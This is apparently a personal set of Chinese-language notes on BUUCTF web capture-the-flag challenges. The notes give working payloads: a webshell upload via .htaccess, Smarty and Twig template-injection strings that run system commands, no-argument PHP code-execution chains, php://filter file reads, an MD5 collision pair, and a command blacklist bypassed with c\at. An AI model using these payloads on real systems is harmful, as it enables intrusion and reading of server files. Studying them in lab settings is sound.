目录
[GXYCTF2019]BabyUpload
[BUUCTF 2018]Online Tool
[BJDCTF2020]The mystery of ip
[GXYCTF2019]禁止套娃
[BJDCTF2020]ZJCTF,不过如此
[GWCTF 2019]我有一个数据库
[网鼎杯 2020 朱雀组]phpweb
[BSidesCF 2020]Had a bad day
[BJDCTF2020]Mark loves cat
[安洵杯 2019]easy_web
[BJDCTF2020]Cookie is so stable
[GXYCTF2019]BabyUploadContent-Type 要修改才能传入图片
先上传一个.htaccess 内容如下
再去上传一个 图片马
上传成功连蚁剑
大佬总结,好难理解
BUUCTF 2018 Online Tool_恋物语战场原的博客-CSDN博客_buuctf online
PHP escapeshellarg()+escapeshellcmd() 之殇
[BJDCTF2020]The mystery of ipSmarty的SST ,与flask有很大区别 ,大佬文章很好,我记录一下题解
PHP的模板注入(Smarty模板)_WHOAMIAnony的博客-CSDN博客_smarty模板注入
这题是有关ip的 ,在X-Forward-For 后面可以SSTI ,测试
之前也遇到php模板注入 ,用if标签
{if system('cat /flag')}{/if}
给了个页面啥也没有,就是扫目录了,dirsearch没扫出来啊
换dirmap,废了不少功夫
可以看到是git泄露
上工具 得到index.php 源码
BUUCTF:[GXYCTF2019]禁止套娃_末 初的博客-CSDN博客_buuctf 套娃
[GXYCTF2019]禁止套娃(.git泄露,无参RCE)_k0f1i的博客-CSDN博客
学习大师傅们的wp
第一个if 就是禁用了伪协议,第三个就是过滤了参数
主要是要理解第二个if
?R
表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式
xxx(xxx(xxx(...))); 括号和字符组成的
用到了几个函数:
- scandir() 浏览目录,当
scandir()
传入'.'
,可以列出当前目录的所有文件 localeconv()
函数,第一个值就是 ‘ . ’current()
函数返回数组中的当前元素的值
这样能浏览目录 了
?exp=var_dump(scandir(current(localeconv())));
要读取到flag.php 就需要逆转一下数组再读下一个值
可以用
array_reverse()
函数返回翻转顺序的数组next()
函数将内部指针指向数组中的下一个元素,并输出
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
[BJDCTF2020]ZJCTF,不过如此
传入$text 内容要是"I have a dream" 这里用php://input写入
提示文件包含 伪协议去读 next.php
base64转出来得到源码
浏览后明白,这段代码的意思跟猜想一样,可以通过控制func 和 p 来控制函数调用
也可以看到绝大部分危险函数都被禁用了
这里的Test类提醒可以构造反序列化来,进行读取
没有找到flag在哪,可以用 find / -name flag*
system("find / -name flag") 查找所有文件名匹配flag的文件
找到flag直接cat
了解到还有一个小trick
就是 php内的" \ "在做代码执行的时候,会识别特殊字符串,绕过黑名单
所以直接 \system 就可以使用system()了
扫了一波没有东西
这里有个注入点,读不到东西,用伪协议试一下
伪协议读 index.php 有回显,根据报错提示,把后面的php去掉就读到index.php 的源码了
strpos() 函数
很简单的逻辑,就是文件包含的伪协议语句必须有 woofers或meowers或index
猜测flag就在flag.php里
构造语句
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
[BJDCTF2020]Mark loves cat
找了找没啥东西,扫了一下 git泄露 ,以后还是直接扫吧
index.php
上面一堆代码主要就是实现这种读取文件的方式 ,不用看
我们要对cmd 做文章
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|/i", $cmd)) {
echo("forbid ~");
echo "";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
从正则那里看,过滤了很多东西 来命令执行,
下面还有个md5强比较 , MD5强绕过,解法如下:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
用dir来读取目录 %20过滤空格
在PHP中,要通过正则表达式过滤掉\
,必须要通过四个反斜杠才行\\\\
,这是因为正则匹配要经过两层解析,一层是php,一层是正则表达式,在此处的话\\|
,相当于是\|
,之后又与后面的|进行了转义,所以实现的相当于就是对|
的过滤,而没有过滤掉\
故此处并没有过滤掉\
直接用命令c\at /flag
就行
BUUCTF之[BJDCTF2020]Cookie is so stable ----- SSTI注入_若丶时光破灭的博客-CSDN博客
考点是SSTI 的Twig攻击 ,怎么感觉SSTI都喜欢问你是谁?
在这里进行注入就行了
记录一下Twig的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}